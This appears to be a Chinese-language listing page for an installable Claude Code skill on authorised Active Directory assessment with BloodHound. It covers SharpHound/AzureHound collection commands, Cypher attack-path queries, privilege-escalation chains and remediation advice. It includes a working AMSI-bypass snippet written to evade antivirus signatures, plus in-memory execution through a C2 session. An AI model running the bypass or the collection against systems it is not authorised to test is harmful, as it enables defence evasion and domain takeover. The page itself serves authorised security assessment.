关于 performing-active-directory-bloodhound-analysis
这是面向授权安全评估与事件响应的 Active Directory BloodHound 分析技能,涵盖 SharpHound 数据采集、图谱分析和修复建议。可用于识别权限关系与潜在攻击路径。
主要功能
- 01使用 SharpHound 或 AzureHound 收集数据
- 02将数据导入 BloodHound CE 或 Legacy
- 03通过预置及自定义查询分析攻击路径
- 04识别常见权限滥用链
- 05根据发现提出修复建议
适用场景
- 01审计 Active Directory 权限与信任关系
- 02调查相关安全事件
- 03验证安全控制并进行计划测试
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-active-directory-bloodhound-analysis安装后在 Claude Code 中输入/performing-active-directory-bloodhound-analysis确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
执行 Active Directory BloodHound 分析
概述
BloodHound 是一款开源的 Active Directory 侦察工具,它利用图论来揭示 AD 环境中隐藏的关系、攻击路径和权限提升机会。通过使用 SharpHound(或针对 Azure AD 的 AzureHound)收集数据,BloodHound 可视化展示了攻击者如何通过一系列错误配置、组成员身份、ACL 滥用和信任关系,从低权限用户提升到域管理员。MITRE ATT&CK 将 BloodHound 归类为软件 S0521。
何时使用
- 在执行涉及 Active Directory BloodHound 分析的安全评估时
- 在遵循相关安全事件的事件响应流程时
- 在执行定期的安全测试或审计活动时
- 通过实际操作测试来验证安全控制措施时
前提条件
- 已在加入域的 Windows 系统上获得初始立足点(或拥有有效的域凭据)
- 已安装 BloodHound CE(社区版)或 BloodHound Legacy 4.x
- SharpHound 收集器(C# 二进制文件或 PowerShell 模块)
- Neo4j 数据库(Legacy)或 PostgreSQL(CE)
- 对域控制器的网络访问权限(LDAP TCP/389、LDAPS TCP/636)
法律声明: 本技能仅用于授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可进行测试的系统使用本技能是非法的,并可能违反计算机欺诈相关法律。
MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1087.002 | 账户发现:域账户 | 发现 |
| T1069.002 | 权限组发现:域组 | 发现 |
| T1018 | 远程系统发现 | 发现 |
| T1482 | 域信任发现 | 发现 |
| T1615 | 组策略发现 | 发现 |
| T1069.001 | 权限组发现:本地组 | 发现 |
步骤 1:使用 SharpHound 收集数据
SharpHound.exe(OPSEC 首选)
# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
Invoke-BloodHound(PowerShell)
# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
AzureHound(Azure AD)
# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound
步骤 2:将数据导入 BloodHound
BloodHound CE(v5+)
# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up
# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File
BloodHound Legacy
# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)
# Start BloodHound GUI
./BloodHound --no-sandbox
# Drag and drop ZIP file into BloodHound GUI
步骤 3:攻击路径分析
预置查询(最关键)
-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN [email protected]'}))
RETURN p
-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN [email protected]'}))
RETURN p
-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name
-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN [email protected]'})-[:AdminTo]->(c:Computer) RETURN p
-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50
-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name
自定义 Cypher 查询
-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name
-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50
-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name
-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name
-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
步骤 4:常见攻击路径
路径 1:Kerberoasting 到 DA
User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin
路径 2:ACL 滥用链
User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin
路径 3:无约束委派
User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync
路径 4:GPO 滥用
User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM
步骤 5:修复建议
| 发现项 | 风险 | 修复措施 |
|---|---|---|
| 可 Kerberoast 的 DA | 严重 | 使用 gMSA、轮换密码、仅使用 AES |
| 无约束委派 | 严重 | 迁移到约束委派/RBCD 委派 |
| 域用户为本地管理员 | 高 | 从本地管理员中移除 DA,使用 LAPS |
| 过多的 ACL 权限 | 高 | 审计并减少 GenericAll/WriteDACL |
| 过期的管理员会话 | 中 | 实施会话清理,限制 RDP |
| 跨域信任滥用 | 高 | 审查信任方向和 SID 筛选 |
参考资料
- BloodHound GitHub:https://github.com/BloodHoundAD/BloodHound
- BloodHound CE:https://github.com/SpecterOps/BloodHound
- SharpHound:https://github.com/BloodHoundAD/SharpHound
- MITRE ATT&CK S0521:https://attack.mitre.org/software/S0521/
- SpecterOps BloodHound 文档:https://bloodhound.readthedocs.io/
评论
支持 Markdown